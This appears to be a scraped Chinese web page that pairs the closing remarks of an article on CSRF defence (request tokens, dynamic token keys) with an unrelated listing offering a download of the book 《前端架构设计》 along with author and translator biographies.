总体来说，目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章，一般都会含有“无耻”二字来形容（另一位有该名号的貌似是 DDOS 攻击）。作为开发者，我们能做的就是尽量提高破解难度。当破解难度达到一定程度，网站就逼近于绝对安全的位置了（虽然不能到达）。上述请求令牌方法，就我 认为是最有可扩展性的，因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说，伪造的请求和正常的请求本质上是一致的。而请求令牌的方法，则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作，例如让页面中 token 的 key 动态化，进一步提高攻击者的门槛。本文只是我个人认识的一个总结，便不讨论过深了。

Ⅸ 《前端架构设计让前端开发可持续优化、可扩展》pdf下载在线阅读，求百度网盘云资源

《前端架构设计》（[美] Micah Godbolt）电子书网盘下载免费在线阅读

资源链接：

链接：

书名：前端架构设计

作者：[美] Micah Godbolt

译者：潘泰燊

豆瓣评分：5.8

出版社：人民邮电出版社

出版年份：2017-4

页数：164

内容简介：

本书展示了一名成熟的前端架构师对前端开发全面而深刻的理解。作者结合自己在Red Hat公司的项目实战经历，探讨了前端架构原则和前端架构的核心内容，包括工作流程、测试流程和文档记录，以及作为前端架构师所要承担的具体开发工作，包括HTML、JavaScript和CSS等。

作者简介：

Micah Godbolt

前端架构师，作家，播客播主，世界级开源大会的培训师和演讲师。他在个人博客（https://micahgodbolt.com）中经常大力推广前端架构、Sass、视觉还原测试和基于模式的设计方法。他出生于太平洋西北地区，目前和妻子以及 两个孩子定居于波特兰的郊区。

译者简介：

潘泰燊

毕业于广东外语外贸大学，曾就职于腾讯、网络等互联网公司，参与过腾讯QQ空间、网络地图等海量数据业务的Web开发工作，现就职于富途网络。

张鹏

硕士毕业于中山大学，曾就职于网络、腾讯等知名互联网公司，参与过基于LNMP架构的亿级别互联网应用的设计与实现，目前从事NodeJS与前端开发。

许金泉

毕业于深圳大学，毕业后加入网络FEX，曾主导UEditor、网络国际化浏览器等前端开发工作，现就职于腾讯云。

审校简介：

李弦

华为2012实验室UCD交互设计师，Monash University交互设计硕士，前新东方英语教师，广东外语外贸大学英语专业八级。